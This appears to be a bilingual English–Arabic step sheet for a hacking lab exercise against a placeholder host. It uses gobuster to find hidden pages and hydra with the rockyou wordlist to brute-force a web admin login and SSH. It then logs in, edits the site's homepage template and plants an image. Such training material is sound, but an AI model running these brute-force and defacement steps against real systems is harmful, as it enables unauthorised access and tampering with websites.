Note: Type commands exactly as shown (spaces, slashes, case). They are case-sensitive.
Find hidden pages and directories.
يُستخدم لاكتشاف الصفحات والمجلدات المخفية.
gobuster dir -u https://website -w /usr/share/wordlists/dirb/big.txt
Used to brute-force login pages by guessing passwords.
يُستخدم لتخمين كلمة المرور واختراق صفحات تسجيل الدخول.
You will need the admin’s username. Think carefully — it’s something you’ve seen before.
ستحتاج إلى اسم المستخدم الخاص بالمسؤول. فكّر جيدًا – قد رأيته سابقًا.
hydra -l username -P /usr/share/wordlists/rockyou.txt website \
https-post-form "/admin:username=^USER^&password=^PASS^:F=Incorrect username or password" -V -f
python filename.py
Use hydra to brute-force an SSH login.
استخدم hydra لتخمين تسجيل دخول SSH
hydra -l username -P ./output.txt ssh://website -V -f
Log in to the server using SSH
تسجيل الدخول إلى الخادم عبر SSH
ssh farhan@website
Open the homepage template. Edit then save.
افتح قالب الصفحة الرئيسية. عدّل ثم احفظ.
nano /var/www/camelcode_app/test/templates/index.html
sudo systemctl restart camelcode
Securely copy a local file (image) to the user's home directory.
نسخ ملف من جهازك إلى الخادم بأمان.
scp /home/kali/Downloads/image.jpeg farhan@website:/home/farhan/
Move the uploaded file into the website static images directory so it can be served.
انقل الملف إلى مجلد الصور الثابتة في الموقع حتى يتم خدمته من قِبل Nginx/Flask.
sudo mv /home/farhan/image.jpeg /var/www/camelcode_app/test/static/images/
Insert this HTML into your template where you want the image to appear. Ensure filename matches the one in static/images.
أدخل هذا الوسم في القالب حيث تريد عرض الصورة. تأكد من تطابق اسم الملف مع الموجود في static/images.
<img style="display: block; margin-left: auto; margin-right: auto; width: 50%;" src="/static/images/image.jpeg" alt="My Image">